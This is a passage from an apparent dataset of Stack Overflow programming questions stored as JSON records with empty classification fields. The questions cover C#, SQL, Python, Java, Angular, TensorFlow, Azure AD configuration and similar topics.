data</p>\n\n<pre><code>[{\"accountId\":\"ID1\",\"value\":913,\"rank\":1,\"displayName\":\"Name1\"},{\"accountId\":\"ID2\",\"value\":892,\"rank\":2,\"displayName\":\"Name2\"},{\"accountId\":\"ID3\",\"value\":868,\"rank\":3,\"displayName\":\"Name3\"},...]\n</code></pre>\n\n<p>How can i extract the important information like Value/Rank/DisplayName???</p>\n"},{"Classification":"","Title":"Deferred template string interpolation","Body":"<p>In C# there is a string interpolation support like this:</p>\n\n<pre><code>$\"Constant with {Value}\"\n</code></pre>\n\n<p>which will format this string using in-scope variable <code>Value</code>.</p>\n\n<p>But the following won't compile in current C# syntax.</p>\n\n<p>Say, I have a static <code>Dictionary&lt;string, string&gt;</code> of templates:</p>\n\n<pre><code>templates = new Dictionary&lt;string, string&gt;\n{\n { \"Key1\", $\"{Value1}\" },\n { \"Key2\", $\"Constant with {Value2}\" }\n}\n</code></pre>\n\n<p>And then on every run of this method I want to fill in the placeholders:</p>\n\n<pre><code>public IDictionary&lt;string, string&gt; FillTemplate(IDictionary&lt;string, string&gt; placeholderValues)\n{\n return templates.ToDictionary(\n t =&gt; t.Key,\n t =&gt; string.FormatByNames(t.Value, placeholderValues));\n}\n</code></pre>\n\n<p>Is it achievable without implementing Regex parsing of those placeholders and then a replace callback on that Regex?\nWhat are the most performant options that can suit this method as being a hot path?</p>\n\n<p>For example, it is easily achievable in Python:</p>\n\n<pre><code>&gt;&gt;&gt; templates = { \"Key1\": \"{Value1}\", \"Key2\": \"Constant with {Value2}\" }\n&gt;&gt;&gt; values = { \"Value1\": \"1\", \"Value2\": \"example 2\" }\n&gt;&gt;&gt; result = dict(((k, v.format(**values)) for k, v in templates.items()))\n&gt;&gt;&gt; result\n{'Key2': 'Constant with example 2', 'Key1': '1'}\n&gt;&gt;&gt; values2 = { \"Value1\": \"another\", \"Value2\": \"different\" }\n&gt;&gt;&gt; result2 = dict(((k, v.format(**values2)) for k, v in templates.items()))\n&gt;&gt;&gt; result2\n{'Key2': 'Constant with different', 'Key1': 'another'}\n</code></pre>\n"},{"Classification":"","Title":"Custom Query by Example in Spring Data","Body":"<p>I want to build a custom query by example in JPARepository, so I did:</p>\n\n<pre><code>public interface BatchProcessRecordRepository extends \n JpaRepository&lt;BatchProcessRecord, Long&gt;, \nQueryByExampleExecutor&lt;BatchProcessRecord&gt; {\n\nPage&lt;BatchProcessRecord&gt; findByBatchProcessId(Long \nid, Example example, Pageable pageable);\n}\n</code></pre>\n\n<p>But I got NoSuchElementException error, if I try the same query without the Example parameter, it works. How can I build a custom Query by Example in Spring Data?</p>\n"},{"Classification":"","Title":"stack depth limit exceeded (not in table with trigger)","Body":"<p>I'm working on Minesweeper game in postgre. When I insert data into <code>TAH</code> (MOVE in english) table the after trigger will try to recursively reveal all fields. The reveal is in this function:</p>\n\n<pre><code>CREATE OR REPLACE FUNCTION public.odkryj_pole(in_row_id integer, in_col_id integer)\n RETURNS void\n LANGUAGE plpgsql\nAS $function$\ndeclare\n p_pole_id int;\n p_oblast_id int;\n p_row_id int;\n p_col_id int;\n p_value int;\n p_shown int;\nBEGIN\n --najdu oblast z rozehrane hry\n select OBLAST_ID into P_OBLAST_ID from HRA where STAV_ID = 0;\n\n --shown of this field set to 1\n update POLE set SHOWN = 1 where OBLAST_ID = P_OBLAST_ID and ROW_ID = IN_ROW_ID and COL_ID = IN_COL_ID;\n\n begin\n select VALUE into P_VALUE from POLE where OBLAST_ID = P_OBLAST_ID and ROW_ID = IN_ROW_ID and COL_ID = IN_COL_ID;\n exception\n when no_data_found \n then P_VALUE := -1;\n end;\n\n if P_VALUE = 0 then\n --update POLE set SHOWN = 1 where OBLAST_ID = P_OBLAST_ID and ROW_ID = IN_ROW_ID -1 and COL_ID = IN_COL_ID;\n perform ODKRYJ_POLE(IN_ROW_ID - 1, IN_ROW_ID);\n\n --update POLE set SHOWN = 1 where OBLAST_ID = P_OBLAST_ID and ROW_ID = IN_ROW_ID -1 and COL_ID = IN_COL_ID + 1;\n perform ODKRYJ_POLE(IN_ROW_ID - 1, IN_ROW_ID + 1);\n\n --update POLE set SHOWN = 1 where OBLAST_ID = P_OBLAST_ID and ROW_ID = IN_ROW_ID and COL_ID = IN_COL_ID - 1;\n perform ODKRYJ_POLE(IN_ROW_ID, IN_ROW_ID - 1);\n\n --update POLE set SHOWN = 1 where OBLAST_ID = P_OBLAST_ID and ROW_ID = IN_ROW_ID and COL_ID = IN_COL_ID + 1;\n perform ODKRYJ_POLE(IN_ROW_ID, IN_ROW_ID + 1);\n\n --update POLE set SHOWN = 1 where OBLAST_ID = P_OBLAST_ID and ROW_ID = IN_ROW_ID + 1 and COL_ID = IN_COL_ID - 1;\n perform ODKRYJ_POLE(IN_ROW_ID + 1, IN_ROW_ID - 1);\n\n --update POLE set SHOWN = 1 where OBLAST_ID = P_OBLAST_ID and ROW_ID = IN_ROW_ID + 1 and COL_ID = IN_COL_ID;\n perform ODKRYJ_POLE(IN_ROW_ID + 1, IN_ROW_ID);\n\n --update POLE set SHOWN = 1 where OBLAST_ID = P_OBLAST_ID and ROW_ID = IN_ROW_ID + 1 and COL_ID = IN_COL_ID + 1;\n perform ODKRYJ_POLE(IN_ROW_ID + 1, IN_ROW_ID + 1);\n end if;\nend;\n$function$\n</code></pre>\n\n<p>This function is called by trigger (<code>AFTER TRIGGER ON TAH</code>):</p>\n\n<pre><code>CREATE OR REPLACE FUNCTION public.trigger_tah_after()\n RETURNS trigger\n LANGUAGE plpgsql\nAS $function$\ndeclare\n p_result timestamp;\n p_oblast_id int;\n p_hra_id int;\nBEGIN\n select H.ID into p_hra_id from HRA H where H.STAV_ID = 0;\n\n select FIRST_MOVE, OBLAST_ID into p_result, p_oblast_id from HRA where ID = p_hra_id;\n if p_result is null then\n update HRA set FIRST_MOVE = CURRENT_TIMESTAMP where ID = p_hra_id;\n end if;\n\n update HRA set LAST_MOVE = CURRENT_TIMESTAMP where ID = p_hra_id;\n\n update POLE set SHOWN = 1 where OBLAST_ID = p_oblast_id and ROW_ID = NEW.ROW_ID and COL_ID = NEW.COL_ID;\n\n perform ODKRYJ_POLE(NEW.ROW_ID, NEW.COL_ID);\n return new;\n\nend;\n$function$\n</code></pre>\n\n<p>Now when I call insert <code>into TAH(row_id, col_id) VALUES (3,3)</code> I got </p>\n\n<pre><code>SQL Error\n(54001): stack depth limit exceeded\n</code></pre>\n\n<p>Is here way how can I improve my function to get it done? If it is possible with recursion?</p>\n"},{"Classification":"","Title":"Adding isRequired to field in WSDL using Java2WSDL on Axis2","Body":"<p>I have poured over several articles and google search. I can't seem to find any method to remove those <code>&lt;---Optional---&gt;</code> Tags from my wsdl. </p>\n\n<p>I have figured out that <code>isRequired</code> must be set in the wsdl to make it go away, but I don't know how to do it with Java2WSDL. </p>\n\n<p>class declaration</p>\n\n<pre><code>public class TTBusObjService\n</code></pre>\n\n<p>example method declaration:</p>\n\n<pre><code>public String login( String username, String password, Boolean sendAlerts) throws AxisFault\n</code></pre>\n\n<p>Services.xml:</p>\n\n<pre><code>&lt;service name=\"MainService\" class=\"services.MyMain\" scope=\"soapsession\"&gt;\n &lt;description&gt;Name&lt;/description&gt;\n &lt;messageReceivers&gt;\n &lt;messageReceiver mep=\"http://www.w3.org/2004/08/wsdl/in-only\"\n class=\"org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver\"/&gt;\n &lt;messageReceiver mep=\"http://www.w3.org/2004/08/wsdl/in-out\"\n class=\"services.InnotasRPCMessageReceiver\"/&gt;\n &lt;/messageReceivers&gt;\n &lt;parameter name=\"ServiceClass\"&gt;services.TTBusObjService&lt;/parameter&gt;\n&lt;/service&gt;\n</code></pre>\n"},{"Classification":"","Title":"Sphinx build failing on ReadTheDocs","Body":"<p>I'm trying to build the documentation for <a href=\"https://github.com/usnistgov/sesame\" rel=\"nofollow noreferrer\">a project</a> using ReadTheDocs. The Sphinx build script is failing with: <code>error: option -T not recognized</code>. I double checked the <a href=\"http://www.sphinx-doc.org/en/master/man/sphinx-build.html#id7\" rel=\"nofollow noreferrer\">Sphinx documentation</a>, and the <code>-T</code> option has been available since version 1.2. (ReadTheDocs is building with version 1.6.5). Is there a setting I need to change in <code>docs/conf.py</code>, or a setting on the ReadTheDocs project page?</p>\n\n<p>Full screenshot of the error message:\n<a href=\"https://i.stack.imgur.com/91Gub.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/91Gub.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"How do I turn this into a recursive function?","Body":"<p>I'm trying to create an org chart based on a model that references itself through an attribute called <code>reports_to</code>. I don't know how many levels down the org chart will go, so I feel like a recursive function makes sense. Here's some code that works at the moment:</p>\n\n<pre><code>top_level = Person.objects.filter(reports_to=None)\norg_chart = {}\nfor person in top_level:\n org_chart[person] = {}\n if person.has_direct_reports():\n direct_reports = Person.objects.filter(reports_to=person)\n for p in direct_reports:\n org_chart[person][p] = {}\n if p.has_direct_reports():\n direct_reports_2 = Person.objects.filter(reports_to=p)\n for q in direct_reports_2:\n org_chart[person][p][q] = {}\n # ... and so on\n</code></pre>\n\n<p>This results in a shell output like this:</p>\n\n<pre><code>&gt;&gt;&gt; pp.pprint(org_chart)\n{ &lt;Person: Joe Boss&gt;: { &lt;Person: John Doe&gt;: { &lt;Person: John Doe Jr&gt;: { },\n &lt;Person: Jane Doe&gt;: { }}},\n &lt;Person: Partner Mary&gt;: {}}\n</code></pre>\n\n<p>Which is correct. Shown cleaner:</p>\n\n<pre><code>Joe Boss\n- John Doe\n-- John Doe Jr\n-- Jane Doe\nPartner Mary\n</code></pre>\n\n<p>I've been trying to convert this code to a recursive function, but my brain just won't get around the problem. Thanks for any advice or help in solving this!</p>\n\n<p>Edit. Here's the code I'm trying to make work, but I'm falling over myself in the process:</p>\n\n<pre><code>def direct_reports_r(person):\n if person.has_direct_reports():\n direct_reports = Person.objects.filter(reports_to=person)\n for person in direct_reports:\n org_chart[person] = {}\n if person.has_direct_reports():\n direct_reports = Person.objects.filter(reports_to=person)\n org_chart[person] = direct_reports_r(person)\n else:\n return person\n else:\n return False\n\ntop_level = Person.objects.filter(reports_to=None)\norg_chart = {}\nfor person in top_level:\n org_chart[person] = {}\n # recursion\n org_chart[person][direct_reports_r(person)] = {}\n</code></pre>\n"},{"Classification":"","Title":"When creating a new instance of class an error happened","Body":"<p>Firstly, look at the following code: </p>\n\n<p><strong>settingsFrm_generator class</strong>:</p>\n\n<pre><code>class settingsFrm_generator : public Dialog {\n public:\n settingsFrm_generator(window* parent, const string&amp; title = EmptyString, const Point&amp; pos = DefaultPosition, const Size&amp; size = Size( 359,298 ), long style = DEFAULT_DIALOG_STYLE ); \n ~settingsFrm_generator();\n};\n</code></pre>\n\n<p><strong>settingsFrm class</strong>:</p>\n\n<pre><code>class settingsFrm : public settingsFrm_generator {\npublic:\n settingsFrm() = default;\n settingsFrm(window *parent, const string &amp;title);\n TextCtrl* getKeywordsTxt();\n ~settingsFrm();\nprotected:\n void ok_btn_Click(CommandEvent &amp;event);\n void cancel_btn_Click(CommandEvent &amp;event);\n};\n</code></pre>\n\n<p>When creating an instance like the following:</p>\n\n<pre><code>settingsFrm setting; // (1) or\nsettingsFrm *setting = new settingsFrm; // (2)\n</code></pre>\n\n<p>This error message appeared <code>Error C2280 'settingsFrm::settingsFrm(void)': attempting to reference a deleted function</code>.</p>\n\n<p>Note that, It's not possible to change anything in settingsFrm_generator class, because it's automatically generated.</p>\n\n<p><strong>Why that happened, and how can I solve it?</strong></p>\n"},{"Classification":"","Title":"Using plotly to plot a graph","Body":"<p>I am trying to use plotly, how can I convert it the same plot to plotly.</p>\n\n<pre><code># Draw a nested barplot to show total loan amount for state and year\nplt.style.use('bmh')\ng = sns.factorplot(x=\"State\", y=\"Loan_Amount_000\", hue=\"As_of_Year\", data=total_amount_group_year,\n kind=\"bar\",size=6, palette=sns.color_palette(flatui))\ng.despine(left=True)\ng.set_ylabels(\"Total Loan Amount\",fontsize=15)\ng.set_xlabels(\"State\",fontsize=15)\ng.set(title=\"Total Loan Amount aggregated by State and Year\")\ng.set_yticklabels(fontsize=15)\ng.set_xticklabels(fontsize=15)\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/dLQvx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dLQvx.png\" alt=\"enter image description here\"></a></p>\n\n<p>I am using the code below, but getting nothing shown.</p>\n\n<pre><code>import cufflinks as cf\nimport plotly.plotly as py\nimport plotly.graph_objs as go\n\ndata = [go.Bar(x=total_amount_group_year['State'],\ny=[total_amount_group_year.loc[total_amount_group_year['As_of_Year']==2012]['Loan_Amount_000'],\n total_amount_group_year.loc[total_amount_group_year['As_of_Year']==2013]['Loan_Amount_000'],\n total_amount_group_year.loc[total_amount_group_year['As_of_Year']==2014]['Loan_Amount_000']])]\n\nlayout = go.Layout(title='Iris Dataset - Species',\nxaxis=dict(title='Iris Dataset - Species'),\nyaxis=dict(title='Count')\n)\n\nfig = go.Figure(data=data, layout=layout)\npy.iplot(fig)\n</code></pre>\n\n<p>This is my dataframe also showing index. the data frame is a pandas dataframe, a subset of another pandas dataframe.</p>\n\n<pre><code>State As_of_Year Loan_Amount_000\n9 VA 2012 86144.960\n10 VA 2013 72210.009\n6 MD 2012 54095.591\n11 VA 2014 48920.527\n7 MD 2013 43640.475\n8 MD 2014 28235.685\n0 DC 2012 8368.582\n1 DC 2013 7092.372\n12 WV 2012 6023.641\n13 WV 2013 5838.763\n3 DE 2012 5253.819\n2 DC 2014 5044.787\n14 WV 2014 4984.216\n4 DE 2013 4598.409\n5 DE 2014 2991.961\n</code></pre>\n"},{"Classification":"","Title":"Reading pdf file names from a csv and merge pdfs","Body":"<p>I have shuffled a csv file that contains file names referring to pdf files:</p>\n\n<pre><code>list1 = list(csv.reader(open('input.csv')))\n\nrandom.shuffle(list1)\noutputwriter = csv.writer(open(\"random.csv\", \"wb\"))\noutputwriter.writerows(list1)\n</code></pre>\n\n<p>As you can see, I also have written the result into a new csv file, but I think that is not necessary. In any case, the randomly shuffled list looks, for example, like this:</p>\n\n<pre><code>R001.pdf\nL008.pdf\nL009.pdf\nL011.pdf\nR006.pdf\nL014.pdf\nL016.pdf\nR019.pdf\nR021.pdf\nR005.pdf\nR007.pdf\nL010.pdf\nR004.pdf\nL015.pdf\nL018.pdf\nL003.pdf\nL012.pdf\nL002.pdf\nL017.pdf\nL020.pdf\nR013.pdf\n</code></pre>\n\n<p>What I wanted to do now was to merge these pdfs in the now random order using PyPDF2. </p>\n\n<pre><code>from PyPDF2 import PdfFileMerger\nmerger = PdfFileMerger()\nfor x in list1:\n merger.append(x)\n\nmerger.write(\"result.pdf\")\n</code></pre>\n\n<p>However, this produces the following error:</p>\n\n<pre><code>AttributeError: 'list' object has no attribute 'seek'\n</code></pre>\n\n<p>Does anybody have an idea what I'm doing wrong? I also tried to read the list from the new random.csv like this:</p>\n\n<pre><code>merger = PdfFileMerger()\nwith open(\"random.csv\") as f:\n r = csv.reader(f)\nfor x in r:\n merger.append(x)\n</code></pre>\n\n<p>This, however, also results in an error:</p>\n\n<pre><code>ValueError: I/O operation on closed file\n</code></pre>\n\n<p>I would be really happy to learn how to do this! :)</p>\n"},{"Classification":"","Title":"Did anybody manage to compile Strawberry perl's mod_perl on Win x64?","Body":"<p>I would like an Apache 2.4 + Strawberry Perl setup on a 64bit Windows.\nMost references are from 2010 and I hope a lot has improved since.\nI tried <a href=\"http://mail-archives.apache.org/mod_mbox/perl-modperl/201007.mbox/%3CAANLkTimP1oCDwBU2RZ2hfK4nMorZ-SoZlJ_ennx8JKTT@mail.gmail.com%3E\" rel=\"nofollow noreferrer\">http://mail-archives.apache.org/mod_mbox/perl-modperl/201007.mbox/%3CAANLkTimP1oCDwBU2RZ2hfK4nMorZ-SoZlJ_ennx8JKTT@mail.gmail.com%3E</a> and used the files from <a href=\"http://strawberryperl.com/package/kmx/mod_perl/5.12_x64/\" rel=\"nofollow noreferrer\">http://strawberryperl.com/package/kmx/mod_perl/5.12_x64/</a> but Apache2.4 does not start if I have the LoadModule mod_perl or LoadModule mod_apreq2 lines enabled.</p>\n\n<p>Now, the guide and those files were for Apache2.2 + Strawberry 5.12 on a 32bit Windows, so I had no high hopes applying these on a 64bit Windows with Apache2.4 (64bit) and Strawberry Perl 5.26 (64bit) but it was worth a try. I guess I just need a more up-to-date compilation of what is in those .par files. Could somebody guide me on how I could compile those or where to obtain a pre-compiled set from?</p>\n"},{"Classification":"","Title":"Compare checksum of files between two servers and report mismatch","Body":"<p>I have to compare checksum of all files in <code>/primary</code> and <code>/secondary</code> folders in <code>machineA</code> with files in this folder <code>/bat/snap/</code> which is in remote server <code>machineB</code>. The remote server will have lots of files along with the files we have in <code>machineA</code>.</p>\n\n<ul>\n<li>If there is any mismatch in checksum then I want to report all those files that have issues in <code>machineA</code> with full path and exit with non zero status code. </li>\n<li>If everything is matching then exit zero.</li>\n</ul>\n\n<p>I wrote one command (not sure whether there is any better way to write it) that I am running on <code>machineA</code> but its very slow. Is there any way to make it faster?</p>\n\n<pre><code>(cd /primary &amp;&amp; find . -type f -exec md5sum {} +; cd /secondary &amp;&amp; find . -type f -exec md5sum {} +) | ssh machineB '(cd /bat/snap/ &amp;&amp; md5sum -c)'\n</code></pre>\n\n<p>Also it prints out file name like this <code>./abc_monthly_1536_proc_7.data: OK</code>. Is there any way by which it can print out full path name of that file on <code>machineA</code>?</p>\n\n<p>ssh to remote host for every file definitely isn't very efficient. <code>parallel</code> could speed it up by doing it concurrently for more files, but the more efficient way is likely to tweak the command a bit so it does ssh to machineB and gets all the md5sum in one shot. Is this possible to do?</p>\n"},{"Classification":"","Title":"Conditional Variables with multithreading","Body":"<p>I am working on the dining philosophers problem, where n philosophers take turns thinking and eating. I would like to have a version of this where the philosophers will eat in the order of their id: 0,1,2,3,4...,but my threads keep getting blocked. My threads start by calling <code>PhilosopherThread</code>().</p>\n\n<pre><code>void putDownChopsticks(int threadIndex){\n //finished eating\n pindex++;\n pthread_cond_signal(&amp;cond);\n pthread_mutex_unlock(&amp;lock);\n}\n\nvoid pickUpChopsticks(int threadIndex){\n pthread_mutex_lock(&amp;lock);\n while(pindex != threadIndex){\n pthread_cond_wait(&amp;cond, &amp;lock);\n } \n //lets go eat\n} \n\nvoid eating(){\n //put thread to sleep\n}\n\nvoid thinking(){\n //put thread to sleep\n}\n\nvoid* PhilosopherThread(void *x){\n int *index = x;\n thinking(); //just puts thread to sleep to simulate thinking\n pickUpChopsticks(*index);\n eating(); //just puts thread to sleep to simulate eating\n putDownChopsticks(*index);\n return NULL;\n}\n</code></pre>\n\n<p>I'm having a bit of trouble trying to get the philosophers in order. I can only get the first 2 threads to eat before the threads get blocked.</p>\n\n<hr>\n\n<p><strong>Edit:</strong> as far as i know im doing this right. I first lock the mutex, then I check if pindex is the current thread id, if its not the thread will wait until pindex does equal the id. Then the thread can go eat and once where done, we incread pindex, signal that the thread is done, and unlock the mutex.</p>\n"},{"Classification":"","Title":"Catching specific error messages in try / except","Body":"<p>I am new to python and I am about to make this new program that will ask you for your birthday. I've made some try/except clauses to avoid people entering info in strings or to high numbers. I would like my program to find out if the info entered equals a date in the end. If it does I would like to have it printed and if not I would like it to find out what part of the user input was wrong. I have therefore made some if clauses in the last except clause with the idea that the errors would equal a message.</p>\n\n<p>I would like to know if it is possible to make the program match the messages with the error to find out the specific error and figure out what part of the input was wrong.</p>\n\n<p>My code looks like this:</p>\n\n<pre><code>try: \n print(datetime.date(int(birthYear), int(birthMonth), int(birthDay)))\nexcept TypeError:\n if ValueError == \"ValueError: month must be in 1..12\": \n print(\"Month \" + str(birthMonth) + \" is out of range. The month must be a number in 1...12\")\n if ValueError == \"ValueError: year \" + str(birthYear) + \" is out of range\": \n print(\"Year \" + str(birthMonth) + \" is out of range. The year must be a number in \" + str(datetime.MINYEAR) + \"...\" + str(datetime.MAXYEAR))\n if ValueError == \"ValueError: day is out of range for month\": \n print(\"Day \" + str(birthDay) + \" is out of range. The day must be a number in 1...\" + str(calendar.monthrange(birthYear, birthMonth)))\n</code></pre>\n\n<p>Thx in advance</p>\n"},{"Classification":"","Title":"ORA-00907: missing right parenthesis when creating a table","Body":"<p>I have the below query that works fine and produces the correct result</p>\n\n<pre><code>select id, sum(item_stock)\nfrom seller\ngroup by id\norder by id ASC;\n</code></pre>\n\n<p>When I try to create a table with the query above like this</p>\n\n<pre><code>CREATE TABLE total_stock\nAS (\nselect id, sum(item_stock)\nfrom seller\ngroup by id\norder by id ASC );\n</code></pre>\n\n<p>I get the following error</p>\n\n<p>SQL Error: ORA-00907: missing right parenthesis</p>\n\n<p>Any help on why this isn't working would be greatly appreciated</p>\n"},{"Classification":"","Title":"Print pyObjC version installed?","Body":"<p>I've recently started programming \"Objective C\" in python using the excellent pyObjC extension. I'm using macOS High Sierra (10.13.4) with apple's stock python 2.7.10 installation. That part was easy to find out using an interactive python shell:</p>\n\n<pre><code>&gt;&gt;&gt; import platform\n&gt;&gt;&gt; platform.python_version()\n</code></pre>\n\n<p>How can I do the same for the installed pyObjC extension?</p>\n"},{"Classification":"","Title":"Getting the Last Row in a Spreadsheet Embedded in a UserForm","Body":"<p>I am trying to get the last row and last column in a spreadsheet that I have embedded in a userform.</p>\n\n<p>I have been treating it exactly like a regular spreadsheet (refering to cells, ranges...etc) and it has been working perfectly until I tried to get the last row or column. Any idea if the syntax is correct?</p>\n\n<p>I end up getting Run-time error '91'</p>\n\n<pre><code>LastRow = Hold_Summary_UserForm.Spreadsheet1.Sheets(\"Sheet1\").Cells.Find(\"*\", SearchOrder:=xlByRows, LookIn:=xlValues, SearchDirection:=xlPrevious).Row\n</code></pre>\n"},{"Classification":"","Title":"Angular2 ngFor saving variable, migrating Twig","Body":"<p>I'm converting some PHP Twig templates into a new Angular5 project, and I'm stuck on how to handle a simple loop.</p>\n\n<p>In my original Twig template, I have a series of data I loop through that includes a Month column. The data is already sorted by month, and I use this to create a header for each month in the loop by saving the variable, like:</p>\n\n<pre><code>{% set savedMonth = '' %}\n{% for result in results %}\n {% set thisMonth = result.month %}\n {% if savedMonth != thisMonth %}\n &lt;tr bgcolor='#c0c0c0'&gt;\n &lt;td colspan='5' align='left'&gt;{{ thisMonth }}&lt;/td&gt;\n &lt;/tr&gt;\n {% set savedMonth = thisMonth %}\n {% endif %}\n &lt;tr&gt;\n &lt;td valign='top' align='left'&gt;&lt;a href='{{ path(\"app_view_index\", { 'id': doc.id }) }}'&gt;{{ doc.id }}&lt;/a&gt;&lt;/td&gt;\n\n &lt;/tr&gt;\n{% endfor %}\n</code></pre>\n\n<p>This is a simplified example but you can see we look for a field change so I can insert my color row with the month at the start of each change.</p>\n\n<p>Now I'm attempting to do the same thing in Angular5, but I can't figure out how to loop with *ngFor and do this kind of save. Is it even possible?</p>\n\n<pre><code>&lt;tr *ngFor=\"let result of searchResults\"&gt;\n &lt;td align=\"left\" class=\"home\"&gt;&lt;a [routerLink]=\"['/view', result.id]\"&gt;{{ result.id }}&lt;/a&gt;&lt;/td&gt;\n &lt;td align=\"left\" class=\"home\"&gt;Subjects here&lt;/td&gt; \n&lt;/tr&gt;\n</code></pre>\n"},{"Classification":"","Title":"How to give an object to an array, when two variables of the constructor are missing?","Body":"<p>Shopping Cart Program: How is it possible to create a new object in an Array (in this case at <code>cart[0]</code>) if the <code>main</code> method gives the constructor 5 variables, but it has only 3 variables in the constructor. It is not allowed to change the <code>main</code> method.\nI tried something but I think that won´t work.</p>\n\n<pre><code>public class ShoppingCart {\n\npublic Item[] cart;\nint temporary;\npublic ShoppingCart() {\n\n}\n\n public void addItem(Item toAdd) {\n\n\n\n if(toAdd instanceof Grocery) {\n\n if(toAdd.pid==1) {\n\n\n cart[0]=new Grocery(toAdd.pid, toAdd.signifier, toAdd.pricePerUnit, ((Grocery) toAdd).getExpiryDate(), ((Grocery) toAdd).getPacketCount()+Grocery.packetCount);\n\n\n }\n\n\n\n if(toAdd.pid==2) {\n ............\n</code></pre>\n\n<p>main-method</p>\n\n<pre><code>public class ShoppingMall {\n\npublic static void main(String[] args){\n\n BufferedReader input = new BufferedReader(new InputStreamReader(System.in));\n System.out.println(\"Ihr digitaler Warenkorb:\");\n\n boolean loop = true;\n int item = 0;\n String action = \"\";\n int pckg;\n float amount = 0.0f;\n\n\n\n ShoppingCart basket = new ShoppingCart();\n\n while (loop) {\n System.out.println(\"\\nWelcher Artikel soll bearbeitet werden\");\n System.out.println(\"------------------------------\");\n System.out.println(\"1 Butter\");\n System.out.println(\"2 Milch\");\n System.out.println(\"3 Draht\");\n System.out.println(\"4 Fliesen\"); \n System.out.println(\"\\nSie haben den Einkauf abgeschlossen?\\nWaehlen Sie zwischen: \");\n System.out.println(\"------------------------------\");\n System.out.println(\"5 Warenkorb ausgeben\");\n System.out.println(\"0 Exit\\n\");\n System.out.print(\"Ihre Eingabe bitte: \");\n\n try{\n item = Integer.valueOf(input.readLine());\n\n\n if((item &lt; 5) &amp;&amp; (item &gt; 0))\n {\n //System.out.println(\"\\n------------------------------\");\n do{\n System.out.print(\"Waehlen Sie + fuer hinzufuegen oder - fuer entfernen. \");\n action = input.readLine();\n }while(!action.equals(\"+\") &amp;&amp; !action.equals(\"-\"));\n }\n\n //if(action.equals(\"+\") || action.equals(\"-\"))\n //{\n switch (item) {\n case 1: {\n System.out.print(\"Wieviele Packungen Butter ? \");\n pckg = Integer.valueOf(input.readLine());\n Grocery groc = new Grocery(1,\"Butter\",1.59f,20180618,pckg);\n if(action.equals(\"+\"))\n basket.addItem(groc);\n else\n basket.removeItem(groc);\n break;\n .....................\n</code></pre>\n"},{"Classification":"","Title":"ANOVA table and PairWise test","Body":"<p>I have numerous data sets and am attempting to construct ANOVA tables and Pair Wise Comparisons for each data set.\nUsing Pandas DataFrames for data storage.\nFor Data Sets with all values for the various reps of differing treatments I have been able to use lines such as those below.</p>\n\n<pre><code>import numpy as np\nimport pandas as pd\nimport statsmodels.api as sm\nimport statsmodels.formula.api as smf\nfrom statsmodels.stats.multicomp import pairwise_tukeyhsd\ndf = pd.DataFrame ( {'Variety'['foo','foo','foo','foo','bar','bar','bar','bar'],\n 'Treatment':['A','A','B','B','A','A','B','B'],\n 'Values':[95,105,40,60,120,130,50,70],\n 'Group':['fooA', 'fooA', 'fooB', 'fooB', 'barA', 'barA', 'barB', 'barB']})\ndf.set_index('Group', drop=False, inplace=True)\ntests = ['df.Values ~ df.Variety', 'df.Values ~ df.Treatment', 'df.Values ~ df.Treatment + df.Variety + df.Treatment:df.Variety']\npairs = ['Variety', 'Treatment']\n\nx = 0\nwhile x &lt; len(tests):\n mod = smf.ols(tests[x],data=df).fit()\n aov_table = sm.stats.anova_lm(mod, typ=2)\n print('\\n\\n',aov_table)\n if x &lt; len(pairs):\n pw = pairwise_tukeyhsd(df.Values, df[pairs[x]], alpha=0.05)\n print(pw)\nx += 1 \npw = pairwise_tukeyhsd(df.Values, df.index, alpha=0.05)\nprint(pw)\n</code></pre>\n\n<p>However, for some of my data sets I don't have all the raw data. I have the averages and standard deviations. For example ...</p>\n\n<pre><code>df_alt = pd.DataFrame({'Variety':['foo','foo','bar','bar'],\n 'Treatment':['A','B','C','D'],\n 'Group':['fooA','fooB','barA','barB'],\n 'Average':[97.5,50,125,60],\n 'SD ddof=1':[3.54,14.14,7.07,14.14]})\n</code></pre>\n\n<p>Question: How can I generate the same ANOVA tables and Pair Wise comparisons with df_alt as I do with df?</p>\n"},{"Classification":"","Title":"Order by random number not working in Impala","Body":"<p>When I run this in Hue against an Impala data source, I get an unexpected result</p>\n\n<pre><code>select id, rand(unix_timestamp(now())) as ord\nfrom (\n select 1 as id union select 2 union select 3 union select 4\n) x\norder by ord \n</code></pre>\n\n<p>I'd expect to get the rows ordered in a random order by whatever comes up in the ord column. Instead, I always get 3, 4, 1, 2 with numbers in ord that aren't in order:</p>\n\n<pre><code>id ord\n3 0.8899110606358904\n4 0.3766916056055071\n1 0.09029531483086539\n2 0.7446466436351866\n</code></pre>\n\n<p>So, what part of ORDER BY does Impala not understand? Or what am I missing?</p>\n"},{"Classification":"","Title":"Standard deviation setting in Tensorflow truncated_normal function","Body":"<p>I'm practice CNN using the Tensorflow with MNIST data set.\nThe weight matrix defined as:</p>\n\n<pre><code>shape = [5, 5, 1, 32]\nWeights = tf.truncated_normal(shape, stddev=0.1)\n</code></pre>\n\n<p>After running the code, I realize that if I set the stddev (the standard deviation of the normal distribution, before truncation) greater than 0.11.\nThe Weights will become a NaN matrix. It must be equal or less than 0.1.</p>\n\n<p>Does anyone know the reason why?</p>\n\n<p>Thanks,</p>\n"},{"Classification":"","Title":"Where to get the Redirect URI and/or ClientId of an existing Asp.Net Core App","Body":"<p>I have an existing asp.net core 2.0 web app that uses a local database to store logins (individual user accounts). However, I now want to hide a page on the applications behind AD authentication.</p>\n\n<p>I created another test app selecting 'work or school accounts' to see what that looks like, using the correct domain. That new app lets me log in with my work AD account right off the bat, and so I took all of the relevant code from that new test app and put it in my old application so that it routes to that microsoft sign in page when you click the correct page link. Everything seems to be working and hooked up correctly, except after logging in I get this message:</p>\n\n<p>AADSTS50011: The reply url specified in the request does not match the reply urls configured for the application: '[the ClientId I put in appsettings]'</p>\n\n<p>I copied over the appsettings section as well from the test project for the AzureAd configuration, but of course I need the ClientId for my already existing project, not from the test project. The relevant appsettings section looks like this:</p>\n\n<pre><code>\"AzureAd\": {\n \"Instance\": \"https://login.microsoftonline.com/\",\n \"Domain\": \"XXXX.com\",\n \"TenantId\": \"XXXXXXXXXXXXXXXXX\", //this seems to be the same everywhere and is fine?\n \"ClientId\": \"XXXXXXXXXXXXXXXXX\", //this is app specific and generated automatically 